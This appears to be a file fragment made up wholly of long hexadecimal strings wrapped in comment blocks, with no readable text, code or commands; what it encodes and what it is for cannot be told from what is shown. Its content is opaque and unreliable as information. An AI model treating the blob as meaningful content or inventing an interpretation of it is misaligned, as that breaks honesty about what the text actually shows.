535efbb1742015d025b1bdba6f9f260e2e78118144b988db0612bc8122401b2224adbc8374c8fc9f2ba5ef3399a42eb857b8ec8aa39faaa094c40e10592e71958f9ed8c34ea556d95fde246cc3ea78f6ef171e042cc4bf29ddce679877b03615abfcc8f309d1cfd899a5e98a392da8bf6b7da8ad6e94a5a2589195ccbf7f02ea3d14cb692072d148f6a309619c4bbf7231427f5e740792a8b59cacfe6714d8d3fd0ce940d8520c4df521609cafb9e3ccaa4fcfb93851195aab5abd45205d30cb806e006dcbbaff659315e5ca81964ffc2f2604e73d193d07a1bd5ab27f06d58fa783c26389c7e6be47bc454ae27247655a543cb8aab027b93abf6a67e1d950cc4c49b235e3ec810967cdd743c13620a00b3b3136ef09243f678975d77d8de468d313d92e04ca59837a5994bc8feaa7c5c8c8c31b7b5e419dc4fba287f578c60ea74263a2ee4da989e8205c5ad14e7053d6b958c0624af7b037d6e69ee5ce61ad9fff61a5e7162929d2cf324dc7c77b27541e6b649aa9e498ae9422533a23795442b24574a1030708ad8ba92709d8105065fc1dc5699537c2aef227c1679c3fafadae8df2ba02e1d98d9dac55e118141dc1360ee7ad17780921d10bc8784e*/
/*2d4dc114b104afcac8618a2f821a66134cc797645ab067d1c51584b1d7f84b66f312cada2bcd1bfe30512a494d76c1db9d88b99f78b1d6224b54fdda9f5b1a1b482d3dffc73d16d915a58846f074b7ff61b759129104c640dbf0511f33ed0195b7951d50089f3cebfc7c2bf70ef13024ece0ad9e19ebb0cc729388f6fcac84c093affa0836813a4f6b04914d055d5b9561d771bbfeb7273f5cd2e0fb36073776b248969328532f28f6f7e6537d488ed20ceb66569e4f582dc1e7ef49a742aaf5ee01877447286e1016b3f0bd64d10c3b76ca44a77e22957ceaafc21c5b43d124263899e10b5ffb82b36b98b3972c60a514b0c4be50d9189190e5e305148085ca562b764b0d86db0638cedf5dfa4977d5d1c5c447a4787b48a744986bfc556a8dd3251fa4491a4ceb53a65f984c1114bae1aba860258c11be87ec8cc1546a47648a30088e4aa8edfd343a0237db1ddb5723ed51983ba019c1df2740771889dbb99e8388b2da32c5399a00259643274f0e0e91b4bfdb286e3c8dbc488dfaff36f3f1a141d10e9ef7fe7c8ca1bbea2143933fe1e5d6700ba1c123bf5024a1b383722422f713e6a7396544d4a84e06040bd5d5fe4d53b60708385a020d6ceab992639bcdc4312c803f1ca536596e346e91bafa405af751ce706a93ebe989c5f62065e87b2caf98e32055f092c0319c9cdfc0ca4c53cd782b4449823fc292a8e4d1cc170daf0861a83884dbe72577ddabcb01e5bc56e402952987f548f4684bad99cd6e135fd25e97297d03b2db2ace0d03edd5084a8dd5ce292137ef31ebde0efeda11e2f10bbde5e6f72f283a5a4208767262b436ef3163510f0267350afc6d65ecb4f1fd1825dbb268ddb0811e9a70b577ec2a1553a3d8a7e1fc0813c580ef09162c7cc2ee82a8f8a4d27fe9c134f477042cc85cee40871112e76d36966137f7a1f3ddd91959ecb58da3c7528c5ab9bd9eeff0a4c9ad197c6dffe05bca4b1d7fcc26bb97eeeed445a6c35011657d71a5a8e8dd26352d3aa7d9b4007938b972a24fb95363197f69a692b65bcc43c527fdd5d93d6f6594b052685c66d5b39e92aa330d5a4628794bde1a706eb0d74c3c619da26834be7cc1ead62c869f90e5ba24725b6bac44dbb5a82a0ce44fb2aa005a4ca54f013b1d23dd015186183695d21bcce6e46611086caaa80c1c1cb36a217a6521bc9293936510a3e184bad444e53f78b347091b97d15c3d0418a8d821155e87bc9819af400debd9a4e5751d1255c4c3eaa9146f57340a5cd90d1295bc286e771cd43acac084805bd8b665a5bddd0ebcc9074cd54269799c13c91e8c9cc224706741f87650a11316f584a3afe9d9da0aed3af2154a7daba427b7530cf9f814570f3cbc69e30bb9dd7170e254010ee8af9ecafef011a71805f2e7fdac1781c8e44271b599d6fd18f4fde3fd2619d93004ae08b67c75f99ef73121b0641c111772c7c59c9ceeb92bc3bd5bfe6dfc8b85db5842b36e57eb713f5d950ec3886029c7cc65133229995e6b916ec2b64e17c9d7b89da9719fb11475aced12d02d53827030294d01598e64fc7bd206b2cd53ef3f1c29d6ba2464a3ac1d7c8396eaedd498008a79fc404cf02b4608d5f7a536d4fea8f7b08034529b91d35013ff73ab25448f68f8acd6b5a518004e06d1af7c64194d92708703f393f0548840e8b8c3ee35ab98ec509fb89f8788ee067cab09a79b7b100c25a5266cade30071fa9a8a7dfd32c58cb1a608373f630857d679ee7c864d587ba090820a8001fb7cc855cf022d823096178e95344efca9d89fdaf73468f35ee75086562ba8896f32a0c658b22d604d5bfa43aad49b17a6ad7804c1c0b460856d1df2b8af75e98c921c3085e6958d971bb93f0039544e4d820caca3d8d8be74c005e43743c7dd6d29fc2722beabdaaa40d47db9e2b72494c82c329efddef88c4dee6c6dcb710971ee05c306caf5a1a1897ce29d8d3a00fd0553de1d347fc3e6fd15ac5f3c25aa70fd6dc088f859e1ee6b529fcf9e616e9ea29affb577a96d106c52818ec53c29fe1b8b51097c1c13dc7150bfcdc931f7ae933643ceb49c10eefb5aa5b460ee04cd20eb5eb361e5d3fd2968a6161a036f647f33420c9c9ffd73fb065da79f319b93db3800a64e5b3c390e95dd6273c5e45ebfb7378c0d7989095d0eec80304624069b99195adb92694a0a15d15c53a0b1333f472e764e20f064d9589a9561279c0ff05471161383aa7e68ceaae81177c5dfde7f591cf4f8132145b3db6bec042a8dc164104dda7b827b0df1806cd51906046e6436dd1a178bdcc2841e6062ddb5949bea93742126a92766a6583f609b4c34cc86a0974cc0db86b435afe584f4514b496b9a1b40aa043d100ee8b599d369eb179a9654c0e9fc0fa0f61e39ade9da92f737b28d277d257db580ae35de23bc5bae236b73016005a611e9867c3682628c6fc74e7efd8d4fbf273a625908085c9f229d84dbb6c5065c4a3ebeca289001ee04b270dc025c2e666bb2daf79dc9b779cb84600e9d4807e43ea57b87f407782e9fa14cfba41fb51508bdf3743f4295cc8efc946cac93f5738c0ba31f80e04533fbf2db7a11a2006cfc78c3073055646c833ebb8503e4133af5123fe95d308270a65fb59c6ac778e832844e1af5309d181e4c31f747222550ddb92ba2622de205772a2c26788f5834901024c001be9fd06fc4f3814cb25dd8e2a0cd348f33ceaddc375568496ae41735e545b0f1f418129cd99ee80e1bf6bb68f671be867bceca9eba125daacff30dd09234da32691afe9783b347094b7605a9b6072343300c11823a849504b6*/
/*5d11cec8733de65a76d90eaca82ae103942dc8f0e87c0802638ad9e9984591dcd70834650ed7fe13da44a4e42e26e51f53f6e0889968d1ea027f6d55f48283fce33e1b6d576f15c01c1b831c2f82f4282fdf7d0f3fdb8e5f00d37df198e370fc9a33acd7c85528900b82cf98b38ab37f536dfc9606abad044057818ae2d9cb87b9b9780040057f3cbfd16229d31d818dd17e39b286529c9f1ce801f4bbfd9ced003eb2209f8b1bafb2e1c1cfdab411a7bef87d74540cc4a389acfb548a2aa375841222fc6a7d7e5b1178880f85370bbbd337f8802f5d207e5e49e15d8c3dff48de878603710465e5884f372e510d2665ccd8279bb7a3e52edf27afabb6e1b9d4d761afca2e967b0739fa7c53ea12e85e34b6d5f7720cb53818df3b9d0c17ebde79c6c1122449d7206123ed9f7c09cedb48d55f6024832e8a00fb38f3b2259fb1a627da37c3f4afcac4b9e2308de7b665731be427a9094b348410663f75a5c88159bdcf1f3089208f067230bdca3a885f597955237b785a7d0422c8442a7d8183acd478e73d1f59f712dba72effb2017275dd5f55a2f9001175ff6c04dd80b1bd1ce3402b17d10b1a0a5470c5bce03122d97a027a7e2da32ad8b9014abcb4558999b9a1bd6599a2e89c8cbcef6c0c5319b295d19aa0dc831db12dc6b96874c134ffb013974311d42315fc7693672d94e4e6b69e92b80bfd891c047364dc8ef4de22aa7c0dbb7faea9f7042eeba2f303b902e364c1ab223b4ebf544c79a9756b23eec21ad3c66cf066660f14bc9441fbd9f1d07c0d4bbba05710a4abf268617c5b9e35e6910b35502211aed13e446413c7d38076a4ddb4abcff178dd0c55887ac99c46b45de82b68f387098c8c0c48abf663c480e2131e578549c7309f581030ad48067513a7105e42db69ad722daca01b5d4d19f5b662b0b2c2d5d2cfd1f99629dbf47768e747f031bb1c5f61a40a1ff5b49fe074444b00c9c025ead778d9204535b5f24085ba416bd40c5c5bb723d78457dc15540cf24ba793b81476829e5d580423bbf0bbc91eef7325b013e518b76e7a4b716675b8186fe33a529b918879ca6e9cf30b9f6f7472bdbba64245228442144121bb036962b4528b5c3ed0dd48feafe9cbdc922976dd347d7cfa4fff646175e3afc743a768e344e72fc00086bf2b5a110b30cfdf2f72d81c693a7d0fffc96dab10adcdd33355e01ae7bb0694d758757efc11f584c428dcf00a4095cd6f2eee4980ff5967a5ca9ec563912125d394f76f76ae16e0713ab2996d9c7111038d14bbc130944d5232733184f89ad3bb22a4a0f3f83af962fd4b968393e31b5999af2f1c98e5c4b7e8c52cb0d3b54d3dd5cd488d40e282bb2ad24044871ce2b180f8e9424fa47216e6461aab2c6b8b7867b5da7a324fe6d6e2a44c6107e45600dc94ead9aea632325c3630aeada6e01cddc00b2aad6084d8709986a76b8111faaaf8cc8360917c02d6804a75105c81c5f7ef00bc33a48d193f12b6d74a3b8178643003b52412c515f51cb740546dc5632d4e11a1da901f0b0b0b223e4db96c74ce4ec5b91b5dbd3d2342d413064463ca70069ff36ef25998b23d5f4bf66dae02d927382bb7a3b81b73f9f0d0000028e1aeda3ea73d27a2bf20be01713c55d7fe5d253c097dfe56d248ce13690015bbfdf307a3d4e355f1789f55d23ba1db5a5d983f2b57a9f92aa83db17f567c93ef3866249946281bb987c77f4f22e2726e4a622094ba76c9bdb3f603d3e1ab51849c83f4dbf73f2fe5cfd8f00484f6d95f7a45f8975cb5d135d3508a2bd9b2cd6ac3ca0472a0add490f380cc4a5d4e25a7e21c1f623ad08d4686619fcba965fbab1d35ea4d96c3e4298fbf88cb6c041b9de61c0a2ad4f9fda5f13264b7f46c0c92e75b3ccb1fdf7997035081882166369913bbace225e85acf89bbe8182ae958cb0f275957ed40bbff3fa9f4f558a682709a491ebbc3f212e2f781ddd42fc514b631295dfcc9d61ad381c9ee906db85c8a5a7b56c988e1ce833b6972668d6c09c55b511aa6b03fbcd6826ed8a098a55213f62af548e5aff815cca2fb8136daaedf8fd33a9f372b6117fea23973e785211e4f80e8e606410df43a5617eb579370a41cc31bf720371bb834151c60b3b6c858fb0b690c1ec62a0b31eb43ac3266326426c2ac23a933a7d8dc8a34ed41ea48493001e47b38de0abf8dfbd3d1a5fe2c788a0ed216e00a44dbcbb31f08aa542b4a287c17a0a070e2b500888d8321b0062560fceb439f3efec7aa5abfd05353cd2828fbe2180897b5ea36561b2394817435af7e82389542e2a0dc9e29fd894c8fe4ab89b8a07b5a057154ca7411a5cda3d247dfa98d5d4dc7a953c5648caba949d85e145672e6239516104a244b1388f02b38ea439a3255faeffa300d4ac170f4f21463b42def844dbf0cc164b36a5e9c3e210b91ac69c57c3710192adec79737f55b85b392482f5795ef9dc22c1c4f48546d96308278d60c89730b4570cb99ef5947718788051c2c4c165dcbe972a3cefcca6eec8f3dae53b83f59a8633d99d4f3cb983ab5444d656f2cd5a29dd75055e0ca90e53e05f5478c0deb1d732aaa7a5dc5a0511c36b7ed7f9a733f216fc2b5b83920847c89ff093a019f1dea4826d92bfe1c5851cb50f16ccfed6be930897f76a68722418439cf0829459efad67fba6aa8bd9be13f7e014daad1084eb516078a1aae36720f6d2af7817425ea052b668c8a6d7fc55befb9aabb081c26a6a04c7b29a1be581e26e448282ca64eed8ca7f42641d0b5faa9914be81cd78e74b41eb9599c8d6fe1bb1c1010d1661c017746d9e3ab*/
/*9d952a60e66e76eebb7f7308e3fa8fb40dd3439ca7aa395d9ddf993a04b76ae4ab96582c3fe7993097d23665401d2481b69a396a597733a49c2443bec2d716595fc1922b1bd2e0d97058203c39381fad6a237a035f72776b5562aaf917a822c8af3d9f050cca0f7951a94562850855b15e5631e0b6c4ad660df10f2c0c35eda3cd2f133b46dfacaf0a1422fb1ce3be9c71a45d19298cb425def33ad3c23d3e88e673257dfde09010170b4bbb9f6e57dcd24cf74245317db9b312478a965ddfd46ada16acf89d690f54082d4d7c70ef3ce41de8ab614f1a119db5547fc90398ac46ce4c437c253d8e13e1880f7e5bed4c826e2280ca30fd50f260781da6ef3a478601950bf230044efb235ad61a300510de96758d57fc5969ce8df0f9791a5df70ee97a10b4a8b9268a5a143f7e28a8553a8df615743a905d6e8e3f87c474aba74a3aab9076c3b0525be137a72bd2aa3607fac3285206fb4dd3bcd10e9dab51ca5b460e7be3ac93039cb5a5b5552f017799ef49f4de98c91daf35bb814b27221929e35303e7829eaf92c76ca4ad8da874d1ff8dcd9eca4fb0435f814a2df0b4bcee476d21149c5d9efce783f867090e5204095376d6f969c5e89d95c0ccd8929031ba844773cea9fd7bde8cc771551a090da31ad3a3c7e8a1cc0ccbe42382655f59537c54704b701c8a64f0f52461c1280f24b6ec09f147ef1387a720095b9d800cb996c80b4f7a484db583b7fba846d1464640d8333e3a53169960e86453825f244c2a036024cb77c4b0a38efaf64beff05896f5ea57c7c9d1afcb18cd70be5d21030c566cb250b09bee236eb23832a2c683f6293b41c29abe4086aa03d9e16bc157692a1eb9de681b38363bd8a7eada126210db4d5afae840c9818616679e1bfc8285a240fe0f62afa926e4a76a2ad6775f843bdc9e3c72dfd06951585bd9d55c10cacc5022d6a6fa976fb90200da0c1ddc1fc512e78f5a65c47ba847e2f3df941f2fb63e05597bfc43afb921f09aa4751d9e2fc2291f87f40ae9e5cde7f04fba9f71aad99427abd33351b2d5550caa245a81615da9983fb23d054fa93dfa442ff59fd26229be508095d1fdc884a0f8b8f372171da3753582dcf88debcfd83afc6b2dbfbb92227a1d3f695d969f5e9ac70b1e6cbe6f29a19e23ce6efeea2a19f52c5e808046a60dfa0e0f2825ba22984deb7fe309deaf9a56beaba568019b18e0f7dcaa7281b491b9b6ab679ca0dd15b90eadc190eace4cd1e4bc397aa4a203e4ec204f857b5c9203f694a9195a277414f9a95d20e60d11b43ecbc95a5b820a68ad45ec37caa9cc202c887d3a28fb6988a71d947d1252790166a37156a39abe5d6e3c20414e7aab7f3db86e16d984e64f88123dd35b99ab37635118775a261e232e891a53030ed2f3ed59570bec53cb7be8fa92307c5b5807a764c7ed0b1721f988bfc53d80db8ac475709439275017acaefffb7e361830f29742ffa1b1471f47abddddebcf39b3e4757bba04e7904311c4cb21322d2c50936d81969b868a985c4681c8516450f0637d63c2e0d465e7748fd7d1132fd2ad6d562af9ee5fdce895fc5faf0a70164118e9d45dae90698476899645eccbef65b0891c46dd2971668ec3dd926a681ad22e714f67302e1592a3ed1c6ce2a869d05a07d5349e172ba3dd738627df640a8e7ad0f6fd33960a59ee3e5632a7171ad26cc17a9051f66ac947022f129dc464615c786fc340f12df46b76c4873e9fddfbcda900121bfda4649d01a50b1f2521e8a638941346edf05b2e9df1f1e54a609e5140be5a1304df86363c73838542b91471e69aa20059a08e345a508ed52573303b387245c896541f042b24182cea1422fb136f443461b7294a57656b3c2048aa7c05fe98902b47355eba6f8069c58cb604797377655ec7f22cd5aaa073ed0ec5f75263df2867f35dcd90fb6090d3b9c56b808f03bd6b2a1a01badc13a0b15a2e7aa38068170af4c2e119c409bb99dcca1997eaea392215e417b1c7a4d5121a19beef9b46ae43120e089a8007c568f074851dfecefe92d5e8cc9470f99f29380ef23409dd3ada6fd7748ba7f816115d0ee24782ce576eec137ee634b65f10ffa04c962aa372979dd295344f3b1ef019dd84a1ff46f5d301817c457ce0a93195f82f274d7aaf8eb6f260bb6bb77d19711265814d741389c8ce0e786cc03b5c33737c973d485bcb3a529ffd72c55982c0d8ca18bc750988d80fedc153d4ee32506218c8501133f139c8efccc58ad9650a4fe7f15c815be9cdafe96327fbccdaccddc260e4ff91a3249d18bf26bf45255a90f9136323c3c0ee27dcf6c29786cee41ad85fdf8f09ed23d0d7b29bcf00ae16067ae668d7d6badffcd60ae6c7950ef16ce9bd3ea5a4fe4d4039296872a72aba9a0744a77933cb7a0c2e79fb9863dd8806320e9f2313468e5e9e0d4266faf1e03b95a0b47c1360e79fbba87cc6b11a02657ebde680127cc1e0c7ae09675cacbed0c33149a1bafa38da43a08faf5aea42a831e600d47160dcf1ff0889db4b5c3c32d53a6ab2fd68d818d1d6e79cef952582423c5df1010a3d77f9ea15bbd0dcf50e76ded097aa8ddba5a55b4748208516cdba4ca3d41062edfdb64d11b064b9ee4e9e46662d071e74066106c6635049c2869b62f5ee08e6d8c72e42a0e8be635f9448d47d8e6c91f0305ef5ed1a9a52d68da2ded6af2222c2f072207c70ecc4564a36f3cb545345c84980212466b636dfe3d5b06f723b1043864e3cec0047cfc59480ceb96805ed79fd7836dc111eb40795bc712f8232ee49e5fdd23a8542a5ba5efc152b7f3e60b70c*/
/*0eee3a7acd5e6ca1ef866888cf6630ac177c1032e3a8f4db789aee25bf7507fb1fe37beb0bd463fe37b206e8eaafc1614298043bf899e185477ffadbb1df8e42928c09450208bb194f8c35591a9b21e7bde3e704734c5638b543206a9cafefaabdfbe8e6cccdde94090afd8ace8d800ad1054164b60cbd3beb44e5204fb293d2b82e6b8d5d5643421346ba84e7a8b72697c082102dfcb51aca40fa052f91a2235635e33a891263f712106253c436bc9f0bdbc6fe2c59618dee48395a7a327540dfac08e9a4bd97359e74dbb71edcc103a1ff8949345690926d52a9ddad45827281d5da12662e37563827d703299e583e81c40add81b2307ec3cfd599ee219dc41f9aa1572420b46e9be63ec69c9b3227a7f3a85acbb2677916472d34f3aa05fd9594ba1e08b1d5f929144c845c0ff2ba7149c667dee05cd1dee10fef7b8ca672567031df0c6003fecd0453e21e9fc3ed5c3f411328d8bd1e1a9396e846459fe473971f467b7b41674edfcfab411ff661cb060e8ccc6ac9d906d88557aa1fa40d71bada3b25197f64b8233c54b3262800870e799b13174b2bf1a749669e0a9d8be11935e6c4643a0b5985a0235d6242c43269250117404f32eb17cfa7a24d79a7d7e260e683951c4b39ca89e1b8031c092698aa9e3d918c473e7a1ace102e88368dbafdf9b17bdf53b92ee65c97cf0ffd151f49c7ee4a6b6c6b27657392349373f55731a4abd4bed50846dd90c78065e04831efb0d0f484a7c1cadf5856f4e39b2b6c215ccedd4bc7324a10378dc2eb4a57bd86a45b67d952937569f88bdb293313a60fbc434abbe0745028d669d55eecc8c0a9e26c7bd39d82a8df385b8c01610a9849e5d4b94cfb78ac4188aefae61881b4c74a19357041153b13738eedf09f54129f1bc7ff71ef10bccd0a7328064dfd49d858f76b3e418e2ff1df83f644c199dfb4282352d1df59814eb733d9195c1d71ebf22453e96de4f47ef88ceed4967cb97fd02f6cd3db0ca841d63ca7cb9b61940a1b56813dacac6db8b46a1979f6da646c0ae50dca9cd05b2de6f23ac0fdd35f7001224f9151b98463899ff40a614f3f7353e58c29d166e74aa2939256d883b0d6e5a02d1f994e430e49641a0849e1759d6ecdfef91ce242831ceee67d5625b3a1a9398348687196adecdd83ee51cd12edec98c162fee9cc5fa12da3281bf0e4639411161c6c20c05c44112166eda7321f68543710fbe96021deea23f023be13ffb8d39acebb1f58450ad5b8deb5f7fab9c1473edc5e175865d901b2548b61220ccd25bee4dcbaa5649b24923fc53a0ece36358dfc86669943d0a1b07fcf2ed96240d50eee90f9b706990ed65c65d363049bceee98cbead736b92d10425ac79c7cd88d03d9d16d8ca7c51d513d9cfbed66b316a1fffc90aa282fa4db0fbfaf9b0c937be043e97cd981b95969055c8feed24fe9baa6d953aaa9dce74c29a3fbe2af95e145032605e137a450927f8a5ef94c2fc36c0062b4a34b77133607b68843fee0fbb057aa207bb73dcd2cbe686ec735effeb9d6c9f8114e52b5d1b1049b406b1dc2707ac88630071d802d84fe76194676c3d570824239e23b116c2dfbcdef8db6d589faaecfb769c1f480e903b7c0042aab078c417a3ae1a980856c8b526c1ed3583c41415a93959cac5b7579624ae456f8f6f30d8efb96262fa4ec50c097df07e1a786723a2afbf437632f8f570a940c9bd680542e210470e244db5f3482fc2564fd24d67c7acaec1f1c6bae0a386426d83f8ba273aac0d40fa80626ff421e74909873b9d2851e9dc6ce709e5ebcde3841e687c7a0393e8a8792551427a3a1c90d1626c6827c9c1e8a100f4d227fafafc8c8a210d1360456628ee61040ffc62a6801a6c0e363912664032c455ef1c286440799379cce3cefb4fc37be72b8f1bb6cfe5bf8878299a6d4487a70259ddbdfbd192f883ff1cb7683e45ffa29cb6e6b02e55866e100c3999e8af72c653c76f8ff5ac116e2d268b90a3fdb9daed351a26ad7c33149a8b5fa786ad21d2f8e261f92eb1ea5b186e4238e0638a09bdd23097601260bec749349f39b6012916abde41f30371f7fcd207a67afca42d11ba6865b8cd867b4e7c0362b0cd7d711cb9d13ecaf1505f8da03d1faf873a4713420da5d8bd4a075e5308428a1f909b475aad7f67763b04470d7a7dc407631e999cf7af20dad9a0901aed9def72ee29e990d49833216d3327cecc0e2fd5604d4d925c657b0fa0ad2a152f6a4a14fd73991346defaa6fc16a5ffe0ac07bb063497d009ecd0467d1e8820d0dac3a509a042473bbcd5a14712471a5a7d700b27d6bb5ba2b92e04314cb539b68570f342ed78561ca8b90c00b991c81f154edcc75e6030982b584c1930bfe0a5ecea14d7b822c5acdcb2af60fd593eade45925e6b7078ccb145da770d8355d922c50357e26b7cfe7685a65038f796ea4b557b28f5c9b1fc0a230ace00015cc45579ab4bf4a54dd9fff9de82558b96a066723d29ad838aafa3136d568df3d5af9f8864f03419878521309800f8bf311ebc777c6bcbff593bbb6063b91aa68d2cad55881b351c51df4a61a44bf562e595fe0409bf5b147795b0e1d335da7e97e7904923b09956b185be5681f4522f058adf41d63799960c91766f48012256910ac137e2306507cb364d06f52c3683fca9a92f9dacb89a3b972e7f5c2c5b8832e148e24a361bbe860118d72c065646e8c96880a4bb74745472a029f93786b80df3a59b82a1fa4cdd3c96676fb31d9d09ff6114550e89305401e9662bbf79b6f1b96138c6796b119e57acbb7292440d4a1e6bb9df1343*/
/*8d1b59613729896910af9ddbfcc130a4fba9ff75321f199f3932913a2a8b5f39382fa713d9ed426aa9295ef6fbb1a65231b1941e15ce484968f55b7bac45e98bbd96775b86aa5c3e498a4445cc5b606a52479e314327afe2379bf47b629d789b27640c04f7f13ead30f15d784f171bc2a2ef968505ad2b54259d0571be3678fd27891bca5b21c3bc41a28db977ee715b0f884b531bfd6fdd7ae87c817fd2ad0314f5de4f2fea036422abb5b316137184a2d089e0f4eeb305148bade0d04b45c08b6316eb758a26a64fa255154df23470acbc128b98d43594e21a59aa75935454f3ca9d758353b29f13a4c8cbf9fde36ed349e5d6c4df949259748f8eb851c8237494a047deafc27127afa849c31815f3a3de455391ff31f4aa31409448e3bd0aaf38bad4c0689062435f4a2f90b2e9c6af85da87a0f095db2483e75538cb198960ee1e8dd378eeaf27695a4a22fa86374a6df296a6b64714b3111f4cd12005085f5566a13e29fcd4a132f351fded594360f6ca600f94a895beb3cfbac1517782be095f95690fb9e4bfd920d1b58e2596f000eb8e02b0480ba298707cc4977ade91e7ee4529a39863c05efd7f06d02aa3d5e878b109616fba9afc27b1bf1dd456fd64047519772fff74301a049fb8447265101d892e80b2f69b2a258d4a21d42475e819dec4495d542c4ec1929bd4ce81c1ede7442a4a43307bdf6415c03b3ae59642b730c6da14b9f8367ca7deb9ce4bc1cf524b5603da2751377ba5d219200e6546334e5b855612419634b512e454663e5b4f2abd18234d67ad2b7e06a4dec43a9604174fb120bd9e3bf6b97dae60e59028627d77f5e5678e978ad7af0bc44eefcffcd81176745d8e2afdbee2219f0005d3e333ac44466c40b9f935b450ff3498cbe1ea406f0b2ff0335793fa857f0c457ca95b2a98083919edccc32e82b59177e8e21b669574524dc9c020ceeedfafbd43d36203f39767851494ed1bc3f75e012a482040eb7e6fb522ae92b3d2fbae7685c904408fe943fb8396a3f2e0e69f14792dce5fce08298f9c694e827028899ea4c3b3b27e631c8b78d9c5dc17f97d4399138acfed537340f3f53a7c63422a3988fe603d8f71b929e4799177106d5ee1e8398fc04abfc05bc9b21a0795a0d311c527be50a06282073015f565bb3cf0564ced0bd970e396ba4a3fd735425a6e3fdf63bd1725b8c717e317d9202bd284887feaa8f59732b58699f8739db038a0c07cdfdbc1128d53550709680998b735d0d9294b5d028b02de0343fe64e09faf6edf2532db2f503b09f9d036fb23e7f5ac462f9a952e32e9affbf2f83bcb6f2179d2d31ad36df63f6ad44b19d525a2c6c61956b60a012607b34f3ecae35ed03fede4330c942d3a1ad2e7fcd8a54842ec7aa30b6cd72120b4dd680fc7c64cae99904f4e5a620c4c7d5d66e91f8d793cece422a18ddd284b52528c0618289ad92ecf50bd4378e443ad352b55af778173e8b3561a76b6e8e3d379a6649f9a9708e533040f57ede889ec2418cdf581c4cd4cf1c4d79a345777b205b3bc014e4aaf4b91f3ba9763d2e2962020096b387b5bd6eb547b26700ef0cbeb135c71a06dfd134afd955f9a7071db947beca512376df748e78f36c864ebe262eeac0df3ab06a471952c5f5d038342a3dcf5c51ad330c265e7dc046567d1fcdd34cce321a82db34ab4aeb382d5fb5959294673a314a578d20cbd0a506bcdf5f67d505712a95e1629ff9a189d98e1b7690406bd8c39c4369c53be7aa0af4d61cfb5f855adbcc79a06755a55361efb49eba732b0798492645350ebb0e5bd719d2add768e25e9f8b13123f007a0c5d0e0a44d8cb01bbc75bac06ca3de249828b546bd7f4fb5dbcc2a5d3df57d9d3c9514db21f12ce2bfb2a2da8dc75eab846aac36aca780fc2740e9eeda1c73af60bbe094f1a1b4519bfbd80f667882192efc7327caf810bae406490230df53749bce374b345ef384ffe43a156c73c362e826df22043df580e296e83d8c484daa6a5f56b3a7fbdd1e9fd66245ebf24f557cb3cf89c8831143fcfa17456a2f2fec7f92d9fa609cd82523bc8a0ef49a7bfdfe2ee36131f646f03b0d88d169b35725a83f29b835702c32425f283de4be43bc0033a843947df60123aeab63705385deaa20f7bbce687d1788fcb3b2492230a5f1e136ae5d2e037f039c61417bfe0018a20688d4819d86b9f0aef0bf18798ddff9a8ad023af4ffc9ed63e5cdd311ec444f093c0c96a3d46e2249ec449d14793137390d0e9b6c51e7262c46f26c49235d4bcac1bbd55c3b077c22fd4e024968f55bf76cca5590e1ccb00f512f9d15161d6e1627e70a3aa7221032b4940ad3f3406167965c9e5ab5f22c37cb21d1d11955d92d02567eb9906b33a37be9261a5701f7905f35836787c0bf6938978d0334060d132d622b75a33923a8f23473fc97b1af1cb2213e25c8dc3b8a909ec7f66debb60dc3a96a5422b1147c724a64610138129215c2b4fdc9f661efdf2ee5bcac1cfca4c8525495e7bf1bdd5a6ed18eb3b06a86c1d659eb2e5bc90846fa3d086e7553d44630a1c3e8fda4b25ad7ace8b1b0e880d0ea386610a9ecdeec93bdbda3534a0441950b8aec5f18ebdbfe362855c4e9d429e28145f7bd02ac89e5c146fd9cf033786156bccea2198b81429325772385a0be5ca51e10a7ad1d3e8d5d03adad8f162730998e9c08672b6444b3de36acc359ded84999d0fd88916979bb62b1d22752a8958facff6d37e51dc7323d6782bde99445f192861bb5755acd8f1ef35a08e19f899df85f6596c83fbf91683c4721cb9f0545d4c4968676c0*/
/*13de9515e4ccb1a16300d026af2292d30598c6d3a7589fccdbb2d1597d562b0336cb7efc43dfb230cc0fe311d618bc8793e0fca299cd51a8875141e7da742688f67239f9bf27729c04174eb16683429c77a3ba51cd27476cf9eda77cce4205302f9ac0f38d82cc60843e4db19191136e113be37b9e2a03bbe86c9f78c80f7c3df0c65be4c714b6ba33187e4675dafdfa868af3c4fb68a78ee7aa8af4d7ba642bd732e65b6d28c1e805333619e5fb82910188f5527c7c8fccd424911faf7c67bb176e41354c015fa4e8fd7e9bf37a1aed47714791d35d1ae182754aeee26a637de2b5db78c2dab78dbb82e5862b985e745c32c0e50eb2a33311fe8d42a17c08fcf277e6a50596d61c41880c77614f239b003068aca13ad6a5203f94f00eabbea68833dfc9860a6063cc40eceb20e819253e288c9be57208c9abbf4b18abc3c10a5f19c15ac02bbb6d9bbeb35f908d9e350bfad2b3dd39efffe02a1bdb3595e4336b80818a14b61b25d6fefaa129d89a4d00b77582dc481eeb45e82dd4b4f70f28f793e20e9a5c9e9347f52236ba7512f06b6719217e2aee72cdfc01edbe45e510da7bffe4fff6b8e7adcb79a66f417c26a01197be8ed16fc4a700e597540e02a4773c3342ada4547880dbe399ee63181246e0e4525c3434c5cab13b4c48f3e38df9f531a772029e2c8612065807c2c01e3df79339fa1dbc8c3041e66130178208e1db724d6124a60e883fd80b501b597acc481461fb111616709701d009327fedc576e002ed5983d35f162ff7603d985762649cd0e18273f8fbabc034af0bbf44d8ca94da7be8dcfe563309a5f2904f6df538ae3d12124c7dc72a7d73a8f92584761e8ae9c0e8a5fc23dec11902dc309b46fe8ae0120f8a9a0382c60aeecda413d11dee677a51b901616ebcb58f84042b17c53c6701f8a09603f8ce4b00c7e39764b455d664454732d459ab7bd510fff9e31af23aa9a45cba910cac93d02909435337c3f3a98ade119febd68235d09a68f3b79422d70c5f1ee14364b367026b2957a60deecdeb5e6ebc53a1054a85b25cf28a79e9b7cff8d4fcf682c4d6d7d755d5cdc2374bce5277a9ddb91ec475af5d4053b7f55ce697792d3fc8ca5f3f9b3b0f0e4bb5a498d36077dd325ec7a7d4403651716ae175db81e26c3d64e647a6e32df579ef5a29e5280b4ad05737fe1a40d4caec4c85a0fba1942d8850d4a0453129ff06ca94c73a2253a15f8163a7318c857e740a75d388fe7e5a01ae9850553e3d1d43b2d73ba3df7738c6e4351e6a185f78b024fc58c1daaa51beda73c9a12ce4de21e0c36475e141b9524bca7ee7837a542e0a96947a8aeabab9e1952eced9633e4615bae77dd723d79497fe18e56d026eaec80f8f46db27d21650ac6900b2692cf41f8dfb8654f5652f2ca853501ed689295059ead3a4968b06dae4308db73f41eea83b0eb2143f1431d4d19dcb91dc4e7b56b0244d5ff757a47aab5750e92ce75841a5b0f65e4893eaafc3df10752d1e3029977c2dfb83fb9a0d7d62cb4dd7f6168ae95bc08f3f42df